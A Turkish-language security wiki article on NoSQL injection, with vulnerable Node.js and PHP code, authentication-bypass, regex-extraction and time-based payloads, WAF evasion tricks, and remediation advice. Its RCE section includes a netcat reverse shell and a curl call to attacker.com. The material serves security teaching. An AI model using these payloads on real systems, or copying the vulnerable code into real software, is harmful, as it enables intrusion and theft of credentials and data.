NOSQL INJECTION
> Yazar: Sinem Çalışkan
NoSQL (Not Only SQL) veritabanları, modern web uygulamalarında esneklik, ölçeklenebilirlik ve yüksek performans sağlamak amacıyla ilişkisel olmayan (non-relational) veri modelleri (Doküman tabanlı, Key-Value, Graph vb.) kullanan sistemlerdir. En popüler örnekleri MongoDB, CouchDB, Redis, Cassandra ve Neo4j'dir. NoSQL Injection zafiyeti, bu sistemlerin SQL'in katı şema ve sorgu dilinden (SQL dillerinden) farklı olarak, JSON/BSON, XML veya özel API'ler üzerinden sorgu alması ve bu sorgulara dışarıdan müdahale edilebilmesi temeline dayanır.
Red Team operasyonlarında NoSQL Injection, geleneksel WAF kurallarının (genellikle SQL syntax'ına odaklanan) kör noktalarından faydalanmak için kritik bir vektördür. Özellikle MEAN/MERN stack (MongoDB, Express, Angular/React, Node.js) gibi mimarilerde, kullanıcı girdisinin veri tipleri (String yerine Object/Array) kontrol edilmeden doğrudan veritabanı motoruna (veya MongoDB'nin V8 JavaScript Engine gibi alt sistemlerine) iletilmesi, Authentication Bypass, Blind Data Exfiltration ve Remote Code Execution (RCE) gibi yıkıcı sonuçlara yol açar.
How It Works (Teknik Analiz)
Geleneksel SQL Injection, string birleştirme hatalarından doğarken; NoSQL Injection genellikle uygulamanın HTTP isteklerindeki (Query String, Form Data, JSON Body) veri tiplerini (Data Types) yanlış yorumlaması veya Server-Side betiklerin (örneğin JavaScript) güvensiz çalıştırılmasından kaynaklanır.
Kök Neden (Root Cause) ve Protokol Düzeyi Analiz:
Modern web framework'leri (Örn: Node.js içindeki body-parser veya qs modülü), HTTP parametrelerini otomatik olarak nesnelere (Object) dönüştürür. Örneğin, username=admin ifadesi bir String iken, username[$ne]=admin ifadesi uygulama tarafında {"username": {"$ne": "admin"}} nesnesine ayrıştırılır. MongoDB, BSON (Binary JSON) formatında sorguları Abstract Syntax Tree (AST) olarak yorumlar. Geliştirici, kullanıcının sadece bir String göndereceğini varsayarak bu girdiyi doğrudan sorgu nesnesine yerleştirdiğinde, saldırgan $ne (Not Equal), $gt (Greater Than) gibi operatörleri veya $where üzerinden kendi JavaScript AST düğümlerini enjekte eder. Bu durum mantıksal doğrulama akışını (Control Flow) manipüle eder.
Vulnerable Code Patterns
Node.js & MongoDB (Operatör Enjeksiyonuna Açık Kod)
Kullanıcının req.body üzerinden gönderdiği veri tipi doğrulanmadan doğrudan veritabanı sorgusuna dahil edilmektedir.
const express = require('express');
const app = express();
app.use(express.json()); // JSON nesnelerini kabul eder
app.post('/login', async (req, res) => {
// ZAFİYETLİ: req.body.username string olmak zorunda değil, bir nesne olabilir!
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});
if (user) {
res.send("Giriş Başarılı!");
} else {
res.status(401).send("Hatalı Giriş.");
}
});
PHP & MongoDB (Server-Side JS Enjeksiyonuna Açık Kod)
PHP'de $where operatörü kullanılarak JavaScript kodu execute edilmektedir.
$user = $_GET['user'];
$db = new MongoDB\Client("mongodb://localhost:27017");
$collection = $db->uygulama->kullanicilar;
// ZAFİYETLİ: Kullanıcı girdisi JavaScript bağlamında çalıştırılıyor.
$query = array('$where' => "this.username == '" . $user . "'");
$result = $collection->find($query);
Detection & Enumeration (Keşif ve Analiz)
NoSQL zafiyetlerini tespit etmek, veritabanının yapısına göre değişiklik gösterir. Uygulamanın HTTP girdilerini nasıl ayrıştırdığına (Query, Body JSON, XML) odaklanılmalıdır.
- Fuzzing & Özel Karakter Analizi:
- Tipik NoSQL metakarakterleri gönderilir:
',",\,;,{,},$,||,&&. - Eğer bir Internal Server Error (500) veya doğrudan veritabanı yığın izi (Stack Trace) dönüyorsa, girdi işlenmeden veritabanına iletiliyordur.
- Tipik NoSQL metakarakterleri gönderilir:
- Type Manipulation (Veri Tipi Manipülasyonu):
- Form Data yerine Content-Type:
application/jsonkullanılarak istek gönderilir. - Parametreler nesnelere dönüştürülür.
user=adminyerineuser[$ne]=admin(URL) veya{"user": {"$ne": "admin"}}(JSON).
- Form Data yerine Content-Type:
- Boolean & Error-Based Inference:
- Sorgu sonuçları değiştirilerek True/False veya Error tepkileri ölçülür.
- Örnek True Test:
{"username": {"$ne": "olmayan_kullanici_ad3i"}}(Başarılı dönerse Injection var demektir).
- Time-Based Inference:
- V8 Engine barındıran MongoDB gibi sistemlerde
$whereoperatörü kullanılarak gecikme (sleep) tetiklenmeye çalışılır.
- V8 Engine barındıran MongoDB gibi sistemlerde
Attack Vectors & Exploitation (İstismar Vektörleri)
Authentication Bypass (Kimlik Doğrulama Atlatma)
En yaygın ve kritik istismar vektörüdür. Kimlik doğrulama mekanizmaları genellikle "Kullanıcı adı ve şifre eşleşiyorsa" mantığına dayanır. Saldırgan {"$ne": "yanlis_sifre"} (Not Equal) operatörünü göndererek şifre kontrolünü tamamen etkisiz hale getirir. Bu durumda veritabanı, sorguya uyan ilk kaydı (genellikle "admin" kullanıcısıdır) döndürür ve oturum açılır.
Blind Data Exfiltration (Kör Veri Sızdırma)
Sonuçların ekrana yansımadığı (Blind) durumlarda, saldırgan Boolean-based veya Time-based mantıkla karakterleri tek tek tahmin ederek (Brute-Force / Enumeration) veri sızdırır. MongoDB'de bu işlem $regex (Düzenli İfadeler) operatörü ile yapılır. ^ (başlangıç) karakteri ile şifrenin ilk harfi test edilir, başarılı olursa ikinci harfe geçilir.
JavaScript Injection (Server-Side Execution)
MongoDB'de db.eval(), $where, mapReduce veya group işlemleri arka planda JavaScript motorunu çalıştırır. Eğer kullanıcı girdisi bu fonksiyonlardan birinin içine dahil oluyorsa, saldırgan mevcut JavaScript bağlamından çıkıp (örneğin '; return true; //) kendi dilediği komutu çalıştırabilir.
Parameter Pollution & Type Confusion
Birçok web uygulamasında parametrelerin tipleri statik olarak tanımlanmamıştır. Node.js'te aynı isimli birden fazla parametre gönderildiğinde dizi (Array) oluşur (Örn: id=1&id=2 -> [1, 2]). REST API uç noktalarında, yazılım sadece String beklerken bir Array veya BSON Object gönderilmesi, veritabanı sürücülerinde beklenmedik davranışlara (Type Confusion) ve mantıksal zafiyetlere neden olur.
Payloads & Advanced Commands
Authentication Bypass Payloads
Kimlik doğrulama veya authorization kontrollerini atlatmak için JSON ve URL encoded payload'lar.
JSON Body Payloads:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$gt": ""}}
URL/Query String Formats (Express/PHP):
username[$ne]=null&password[$ne]=null
username[$regex]=.*&password[$regex]=.*
username[$gt]=&password[$gt]=
username[$in][]=admin&username[$in][]=root
Data Extraction Payloads (Regex)
Verileri sızdırmak için Boolean (True/False) dönütlerinden yararlanarak karakter karakter test etme.
Regex Karakter Çıkarımı (JSON):
{"username": "admin", "password": {"$regex": "^a"}} // Şifre 'a' ile mi başlıyor?
{"username": "admin", "password": {"$regex": "^ab"}} // 'ab' ile mi başlıyor?
{"username": "admin", "password": {"$regex": "^abc.*"}}
{"username": "admin", "password": {"$regex": "^.{10}$"}} // Uzunluğu tam 10 karakter mi?
Server-Side JS & Time-Based Payloads
Gecikme (Sleep) yaratmak ve JS Execution'ı tetiklemek için.
Time-Based (JavaScript Sleep function in MongoDB):
{"$where": "sleep(5000)"}
{"$where": "d=new Date;do{c=new Date;}while(c-d<5000);"}
{"$where": "this.password.match(/^a/) ? sleep(5000) : false"}
Syntax Breakout / Return Injection:
'; return 'a'=='a
'; return true; //
'; sleep(5000); //
a'; return true; var dummy='
RCE (Remote Code Execution) Payloads
Eski MongoDB sürümlerinde (veya yanlış yapılandırılmış V8 contextlerinde) işletim sistemi komutları çalıştırmak.
// db.eval() veya benzeri bir JS execute noktası bulunduysa:
db.eval("var process = init('/bin/bash', '-c', 'nc -e /bin/sh 10.0.0.1 4444');")
// $where tabanlı global scope RCE (Eski sürümlerde):
{"$where": "this._id == '1' && (function(){ var x = new java.lang.ProcessBuilder(['/bin/bash', '-c', 'curl http://attacker.com/$(whoami)']).start(); return true; })()"}
Bypass & Obfuscation (Atlatma Teknikleri)
Gelişmiş WAF (Web Application Firewall) sistemleri $ne, $regex gibi stringleri tespit edip engelleyebilir. Bu senaryolarda sızma testi uzmanının filtreleri atlatması gerekir.
Unicode ve Hex Encoding: JSON parser'ların Unicode decode yeteneklerinden faydalanılır.
$neyerine\u0024ne$regexyerine\u0024\u0072\u0065\u0067\u0065\u0078- Payload:
{"username": {"\u0024ne": null}}
Type Changing (Tür Değiştirme): WAF bir
StringveyaObjecttaraması yapıyor olabilir. Payload bir Array içerisine yerleştirilebilir.{"username": {"$in": [{"$ne": null}]}}
Logical Obfuscation (Mantıksal Gizleme):
$whereiçerisindeki JavaScript komutları encode edilebilir.{"$where": "eval(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 116, 114, 117, 101, 59))"}(->return true;)
$expr Operatörü: MongoDB 3.6+ ile gelen
$expr, aggregation ifadelerini normal sorgularda kullanmayı sağlar ve genellikle eski IDS kurallarını atlatır.{"$expr": {"$eq": [1, 1]}}
Remediation & Prevention (Önleme ve Savunma)
NoSQL Injection'ı tamamen ortadan kaldırmak için derinlemesine savunma (Defense-in-Depth) yaklaşımı benimsenmelidir.
- Strict Type Checking (Katı Veri Tipi Doğrulaması):
- Node.js/Express uygulamalarında kullanıcıdan gelen girdinin TİPİ mutlaka kontrol edilmelidir.
- Örnek Savunma:
if (typeof req.body.username !== 'string') { throw new Error("Invalid Input Type"); }
- Schema Validation (Şema Doğrulaması):
- Mongoose (MongoDB için ODM) kullanılıyorsa katı şemalar (
Strict Mode) uygulanmalı, beklenen dışındaki nesnelerin (Object) veritabanına ulaşması engellenmelidir.mongo-sanitizegibi kütüphaneler kullanılarak input içindeki$ile başlayan anahtarlar (keys) temizlenmelidir.
- Mongoose (MongoDB için ODM) kullanılıyorsa katı şemalar (
- JavaScript Execution'ı Devre Dışı Bırakma:
- Eğer mimaride
$where,mapReduceveyagroupiçin server-side JS kullanılmıyorsa,mongod.confyapılandırmasındajavascriptEnabled: falseveya-noscriptingparametresi ile JS motoru tamamen kapatılmalıdır.
- Eğer mimaride
- Parameterized Queries ve Güvenli API'ler:
- Mümkün olan her yerde dinamik olarak oluşturulan sorgular yerine, MongoDB'nin güvenli ve önceden derlenmiş sorgu metodolojileri kullanılmalıdır.
- Least Privilege (En Az Ayrıcalık Prensibi):
- Uygulamanın veritabanına bağlandığı kullanıcının yetkileri sadece gerekli olan tabloları okuma/yazma ile sınırlandırılmalı,
db.eval()gibi admin yetkileri kesinlikle verilmemelidir.
- Uygulamanın veritabanına bağlandığı kullanıcının yetkileri sadece gerekli olan tabloları okuma/yazma ile sınırlandırılmalı,
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| NoSQLMap | Otomatize NoSQL keşfi, istismarı ve DB dump aracı. MongoDB, CouchDB destekli. | python nosqlmap.py -u "http://target.com/login" --inject |
| Burp Suite (NoSQLi Scanner) | Burp eklentisi. HTTP isteklerindeki parametreleri otomatik olarak NoSQL payload'ları ile fuzzing yapar. | (Burp Extender üzerinden kurulur ve aktif edilir) |
| Wfuzz | Parametre ve header'larda NoSQL karakterlerini ve dictionary tabanlı payload'ları fuzzlamak için kullanılır. | wfuzz -c -z file,nosql.txt -d "user=FUZZ&pass=123" http://url |
| Burp Intruder (Sniper) | Gelişmiş kör (blind) veri sızdırma operasyonlarında regex karakter tahmini yapmak için manuel kullanılır. | Payload Position: "password": {"$regex": "^§a§"} |
| mongo-sanitize | Savunma (Blue Team) aracı. Node.js backend'ine gelen input'lardan $ sembollü NoSQL komutlarını temizler. | req.body = sanitize(req.body); |
Yazar: Sinem Çalışkan · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv